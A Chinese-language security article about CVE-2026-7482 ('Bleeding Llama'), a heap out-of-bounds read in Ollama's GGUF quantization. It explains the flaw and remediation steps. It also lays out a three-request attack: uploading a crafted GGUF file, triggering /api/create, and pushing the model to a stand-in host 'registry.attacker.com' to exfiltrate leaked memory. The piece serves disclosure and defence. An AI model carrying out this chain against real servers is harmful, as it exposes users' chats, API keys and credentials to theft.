Bleeding Llama漏洞深度剖析：Ollama CVE-2026-7482让30万台AI服务器“内存裸奔“

你以为把大模型部署在本地就高枕无忧了Cyera研究团队最新披露的Bleeding Llama漏洞CVE-2026-7482给所有人泼了一盆冷水。这个藏在Ollama量化管道里的堆越界读取缺陷能让攻击者零认证、零交互仅用三次API请求就抽干服务器内存。超过30万台暴露在互联网上的Ollama实例正在裸奔你的系统提示词、用户聊天记录、甚至环境变量里的API密钥都可能已经躺在别人的硬盘里了。一、从本地安全幻觉到集体翻车Ollama这两年几乎成了本地跑大模型的代名词。开发者喜欢它因为一行命令就能拉起Llama 3、Mistral或Gemma企业喜欢它因为数据不用出内网仿佛天然多了一层隐私护盾。然而正是这种本地安全的幻觉让大量实例在毫无防护的情况下被抛向了公网。Cyera的扫描数据显示全球约有30万台Ollama服务器直接暴露在公共互联网上。更麻烦的是Ollama默认监听所有网络接口且上游发行版在/api/create和/api/push这两个关键端点上根本没有身份验证。很多工程师图方便随手一个OLLAMA_HOST0.0.0.0就把服务开了出去防火墙规则和访问控制却迟迟没跟上。于是原本只该在localhost上跑的服务变成了全球可见的靶子。二、漏洞解剖为什么叫Bleeding Llama这个名字起得相当形象。Bleeding意为出血——敏感数据像鲜血一样从内存的伤口里渗出来Llama既指向Ollama这个载体也暗合了Meta Llama系列模型在本地AI生态中的统治地位。该漏洞被分配编号CVE-2026-7482CVSS评分高达9.1至9.3属于严重级别。问题根源不在模型本身而在Ollama处理GGUF文件的方式上。GGUFGPT-Generated Unified Format是当下本地大模型部署的主流格式它把权重、元数据和分词器信息打包在一个二进制容器里。Ollama在加载这种文件进行量化时选择无条件信任文件头里声明的张量尺寸而不是去核实你宣称的数据长度是否真的存在。攻击者只需要手工构造一个GGUF文件把某个张量的shape值填得极其夸张远超文件实际大小。当Ollama的量化流程——具体是在fs/ggml/gguf.go和server/quantization.go的WriteTo()函数中——尝试读取这个张量并完成F16到F32的转换时它会头也不回地越过已分配的堆缓冲区边界把相邻内存里的内容一并吞进来。讽刺的是这条F16→F32的转换路径恰好是lossless无损的意味着被意外吞下的内存字节会被原封不动地保留在新生成的模型文件里连数据损坏的噪音都没有。三、三次请求内存到手整个利用链条短得令人发指。不需要钓鱼不需要社工不需要任何账号密码第一次POST /api/blobs/sha256:hash把精心伪造的GGUF文件传上去。第二次POST /api/create让Ollama基于这个文件创建模型并触发量化。此时堆越界读取已经发生敏感内存碎片被悄悄缝进了模型权重。第三次POST /api/push带上name: registry.attacker.com/leaked-model把夹带了私货的模型推送到攻击者控制的仓库。至此数据外泄完成。更阴险的是这个过程对Ollama服务本身几乎是无感知的。服务器不会崩溃不会报错日志里也不会留下明显的血迹。如果没人专门盯着/api/create和/api/push的异常流量攻击完全可以静默发生而你还在隔壁工位正常地跟AI聊着天。四、内存里到底能捞出什么堆内存是进程的临时仓库里面堆满了Ollama运行时的一切痕迹。Cyera证实通过Bleeding Llama泄露的内容可能包括用户近期输入的提示词和完整的聊天消息所有运行中模型的系统提示System Prompt那些藏着角色设定和安全策略的内部指令跨用户的多轮对话历史如果服务器面向多人使用别人的隐私也会一并打包环境变量里的API密钥、访问令牌、数据库密码开发者提交给AI审查的专有代码片段经过AI处理的客户数据、合同文本甚至包含PII/PHI的敏感材料换句话说这不是简单的服务器信息泄露而是直接把AI服务的大脑记忆完整复制走。对于把Ollama接入了内部开发工具、客服系统或数据分析管道的团队而言这相当于给攻击者开了一扇透视企业核心业务的后门。五、局域网也不是避风港很多人看到30万公网暴露实例的数字会下意识觉得我放在内网跟我没关系。这是一种危险的误判。Bleeding Llama的利用前提不是必须在互联网上而是攻击者能访问到Ollama的API端口。在内网环境中一旦某台员工电脑被入侵、某个容器被击穿、某个供应链依赖被投毒攻击者就能横向移动到你的Ollama实例面前。如果你的Ollama服务器没有IP白名单、没有网络分段、没有认证层那么它在局域网里的脆弱程度和暴露在公网上并无本质区别。尤其是那些由业务部门或个别开发者私自部署的影子IT实例——它们可能连IT部门都不知情自然更谈不上补丁管理和安全审计。六、止血方案现在该做什么好消息是Ollama官方已经在0.17.1版本中修复了这个问题。补丁的核心逻辑是在读取张量之前先校验声明的offsetsize是否超出了GGUF文件的实际长度同时在量化器里增加了长度检查堵住了那条不安全的读取路径。但打补丁只是第一步。Cyera给出的建议相当直白如果你的Ollama服务器曾经暴露在互联网上哪怕只有一天也应该默认内存中的环境变量和机密已经泄露。具体行动清单如下1. 立即升级所有实例无条件升级到Ollama 0.17.1或更高版本。不要拖延 exploit代码已在公开渠道流传。2. 网络隔离与访问控制未配置IP过滤器和防火墙前绝不把Ollama直接暴露在互联网内网实例也应放在独立网段通过防火墙限制仅允许特定服务访问在所有Ollama实例前部署认证代理或API网关不要信任上游默认的无认证设计3. 密钥轮换立即更换所有可能经过Ollama进程内存的API密钥、令牌和凭证。包括但不限于云服务商密钥、数据库密码、第三方SaaS token、内部微服务调用凭证。4. 资产发现与审计企业漏洞管理程序需要把AI框架纳入监控范围。定期扫描内网查找未经授权的Ollama、vLLM、Llama.cpp等本地AI推理引擎。记住员工个人部署的实例同样属于企业攻击面。七、AI基础设施的安全觉醒Bleeding Llama不是第一个针对AI框架的高危漏洞也不会是最后一个。随着大模型从玩具变成生产工具围绕AI Agent、RAG系统和本地推理引擎的攻击面正在指数级膨胀。这些工具往往诞生于开发者体验优先的文化安全设计是事后补上的补丁。Cyera的警告值得所有安全团队抄写贴在显示器旁任何AI框架、任何AI Agent中间件只要它监听网络端口、处理敏感数据、存储环境机密就必须被当作关键基础设施对待。本地部署不等于安全开源流行不等于经过安全审计方便开发者不等于能抵抗恶意利用。Bleeding Llama这个名字或许会成为本地AI安全的一个分水岭。它提醒我们当你的大模型在深夜静静推理时可能正有人在用三次API请求读取它的记忆。